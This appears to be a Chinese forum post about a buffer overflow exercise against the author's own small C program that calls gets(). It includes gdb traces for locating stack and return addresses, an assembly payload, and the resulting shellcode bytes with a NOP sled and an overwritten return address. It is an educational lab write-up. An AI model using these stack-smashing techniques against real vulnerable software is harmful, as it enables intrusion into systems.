|
一次缓冲区溢出攻击试验
这是有人问我的题目,由于这段时间工作紧张,一直没有时间仔细考虑。这两天稍微有点空闲,就把它给做出来了。
试验用的代码如下:
- #include <stdio.h>
- int main(int argc, char **argv)
- {
- int value;
- char buf[80];
- gets(buf);
- if (value == 0x0a0a0a0a)
- printf("ok\n");
- }
复制代码
1.编译程序,先用gdb跟踪调试,找到value,buf的地址和ebp的值。
- kj501@UsbLinux c $ gdb a.out
- GNU gdb 6.0
- Copyright 2003 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db
- library "/lib/libthread_db.so.1".
- (gdb) l
- 1 #include <stdio.h>
- 2
- 3 int main(int argc, char **argv)
- 4 {
- 5 int value;
- 6 char buf[80];
- 7 gets(buf);
- 8 if (value == 0x0a0a0a0a)
- 9 printf("ok\n");
- 10 }
- (gdb) b 7
- Breakpoint 1 at 0x80483c4: file tt.c, line 7.
- (gdb) r
- Starting program: /home/kj501/program/c/a.out
- warning: Unable to find dynamic linker breakpoint function.
- GDB will be unable to debug shared library initializers
- and track explicitly loaded dynamic code.
- Breakpoint 1, main (argc=1, argv=0xbffff454) at tt.c:7
- 7 gets(buf);
- (gdb) print &value
- $1 = (int *) 0xbffff3ec
- (gdb) print &buf
- $2 = (char (*)[80]) 0xbffff390
- (gdb) print $ebp
- $3 = (void *) 0xbffff3f8
复制代码
由此得到&value=0xbffff3ec,&buf=0xbfff390,%ebp=0xbffff3f8,自然,0xbffff3fc(%ebp+4)就是ret地址了。
2.再继续跟踪,找到main函数结束的返回的__libc_start_main ()的地址。
- (gdb) r
- Starting program: /home/kj501/program/c/a.out
- warning: Unable to find dynamic linker breakpoint function.
- GDB will be unable to debug shared library initializers
- and track explicitly loaded dynamic code.
- dsa
- Breakpoint 1, main (argc=1, argv=0xbffff454) at tt.c:8
- 8 if (value == 0x0a0a0a0a)
- (gdb) display /x $pc
- 1: /x $pc = 0x80483cf
- (gdb) si
- 0x080483d6 8 if (value == 0x0a0a0a0a)
- 1: /x $pc = 0x80483d6
- (gdb) si
- 10 }
- 1: /x $pc = 0x80483e4
- (gdb) si
- 0x080483e5 in main (argc=134513588, argv=0x1) at tt.c:10
- 10 }
- 1: /x $pc = 0x80483e5
- (gdb) si
- 0xb7eed880 in __libc_start_main () from /lib/libc.so.6
- 1: /x $pc = 0xb7eed880
复制代码
得到__libc_start_main的地址0xb7eed880。
3.反汇编mian函数,得到执行语句if (value == 0x0a0a0a0a)的指令地址:
- (gdb) disas main
- Dump of assembler code for function main:
- 0x080483b4 <main+0>: push %ebp
- 0x080483b5 <main+1>: mov %esp,%ebp
- 0x080483b7 <main+3>: sub $0x78,%esp
- 0x080483ba <main+6>: and $0xfffffff0,%esp
- 0x080483bd <main+9>: mov $0x0,%eax
- 0x080483c2 <main+14>: sub %eax,%esp
- 0x080483c4 <main+16>: lea 0xffffff98(%ebp),%eax
- 0x080483c7 <main+19>: mov %eax,(%esp,1)
- 0x080483ca <main+22>: call 0x80482bc
- 0x080483cf <main+27>: cmpl $0xa0a0a0a,0xfffffff4(%ebp)
- 0x080483d6 <main+34>: jne 0x80483e4 <main+48>
- 0x080483d8 <main+36>: movl $0x80484e4,(%esp,1)
- 0x080483df <main+43>: call 0x80482dc
- 0x080483e4 <main+48>: leave
- 0x080483e5 <main+49>: ret
- End of assembler dump.
复制代码
4.编译写一个汇编程序:
- .section .data
- .section .text
- .global _start
- _start:
- movl $0xb7eed880,4(%ebp)
- movl $0xaaaaaaaa,%eax
- andl $0x0f0f0f0f,%eax
- subl $80,%esp
- movl $0xbffff3ec,%ebx
- movl %eax,(%ebx)
- movl $0x80483cf,%eax
- call *%eax
复制代码
这段汇编主要有三个部分,第一部分主要是保证缓冲溢出程序后能正常结束。不然就只能得到段错误。
第二部分是用或的方式把%eax的值改为0x0a0a0a0a,然后再写到value的地址去。之所以要subl $80,%esp,是要保证value的地址在堆栈范围内,才能正常读写。
第三部分,以调用函数的方式,将程序的执行转到main函数中if (value == 0x0a0a0a0a)处继续进行。
5.将汇编代码转为shellcode。
一般常用的做法是把shellcode保存在环境变量中,我的习惯做法是用hexedit编译一个文件,在里面写上shellcode的内容。然后把它重定向给可执行程序。
- bash-2.05b$ as vv.s -o vv.o
- bash-2.05b$ objdump -d vv.o
- vv.o: 文件格式 elf32-i386
- 反汇编 .text 节:
- 00000000 <_start>:
- 0: c7 45 04 80 d8 ee b7 movl $0xb7eed880,0x4(%ebp)
- 7: b8 aa aa aa aa mov $0xaaaaaaaa,%eax
- c: 25 0f 0f 0f 0f and $0xf0f0f0f,%eax
- 11: 83 ec 50 sub $0x50,%esp
- 14: bb ec f3 ff bf mov $0xbffff3ec,%ebx
- 19: 89 03 mov %eax,(%ebx)
- 1b: b8 cf 83 04 08 mov $0x80483cf,%eax
- 20: ff d0 call *%eax
- bash-2.05b$
复制代码
objdump结果的左边就是二进制机器码。把它用hexedit编辑到作为shellcode使用的文件中。
-
- bash-2.05b$ hexedit shellcode.txt
- 00000000 90 90 90 90 C7 45 04 80 D8 EE B7 B8 AA AA AA AA 25 0F 0F 0F 0F 83 EC 50 .....E..........%......P
- 00000018 BB EC F3 FF BF 89 03 B8 CF 83 04 08 FF D0 90 90 90 90 90 90 90 90 90 90 ........................
- 00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........................
- 00000048 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........................
- 00000060 90 90 90 90 90 90 90 90 F8 F3 FF BF 90 F3 FF BF 00 .................
复制代码
shellcode的长度要进行计算,从0xbffff390到0xbffff400一共是0x70个字节,最后的一个00是我在试验时加的,完全可以去掉的。
0xbffff3fc地址最关键,必须改为0xbffff390,以便跳转的buf的地址所在处。为也保持%ebp不变,所以0xbffff3f8要维持原样。
其余没有使用的空闲地址,一律用0x90填充。
6.在gdb中检验结果:
- kj501@UsbLinux c $ gdb a.out
- GNU gdb 6.0
- Copyright 2003 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db
- library "/lib/libthread_db.so.1".
- (gdb) r < shellcode.txt
- Starting program: /home/kj501/program/c/a.out < shellcode.txt
- warning: Unable to find dynamic linker breakpoint function.
- GDB will be unable to debug shared library initializers
- and track explicitly loaded dynamic code.
- ok
- Program exited with code 03.
- (gdb)
复制代码
OK! 执行成功!程序也正常退出了。
但是,如果不在gdb中执行,会出现非法指令的提示,估计可能是指令对齐造成的。
需要注意的是,每个机器的情况不一样,需要自己根据实际情况进行相应的修正,仅仅靠碰运气是很难成功的。 |
|